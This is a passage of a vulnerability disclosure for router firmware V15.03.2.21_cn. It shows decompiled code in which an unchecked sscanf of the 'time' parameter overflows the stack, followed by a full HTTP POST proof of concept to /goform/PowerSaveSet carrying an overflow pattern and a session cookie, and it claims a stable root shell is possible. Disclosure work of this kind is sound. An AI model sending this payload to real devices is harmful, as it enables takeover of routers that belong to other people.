

```
memset(s2, 0, sizeof(s2));
v15 = 1;
nptr = (char *)huoqu(a1, (int)"powerSavingEn", (int)"0");
v13 = (char *)huoqu(a1, (int)"time", (int)"00:00-7:30");
v12 = huoqu(a1, (int)"powerSaveDelay", (int)"1");
s1 = (char *)huoqu(a1, (int)"ledCloseType", (int)"allClose");
sscanf(v13, "%[^:]:%[^-]-%[^:]:%s", v10, v9, v8, v7);
sprintf(s, "%s:%s", (const char *)v10, (const char *)v9);
sprintf(v5, "%s:%s", (const char *)v8, (const char *)v7);
GetValue("sys.sched.led.closetype", s2);
if (strcmp(s1, (const char *)s2))
```

The program passes the content of the time parameter to v13, and then uses the sscanf function to format the content matched by the regular expression into the stack of v10, v9, v8, and v7. There is no size judgment, which leads to a stack overflow vulnerability.

## Recurring vulnerabilities and POC


In order to reproduce the vulnerability, the following steps can be followed:

1.Use the fat simulation firmware V15.03.2.21\_cn


2.Attack with the following POC attacks

```
POST /goform/PowerSaveSet HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101
Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1075
Origin: http://192.168.1.1
Connection: close
Referer: http://192.168.1.1/sleep_mode.html?random=0.37181955385666365&
Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcmik1qw
```

power Saving En=1&time=00 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaap 01%3A00&ledCloseType=allClose&power SaveDelay=1



Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell



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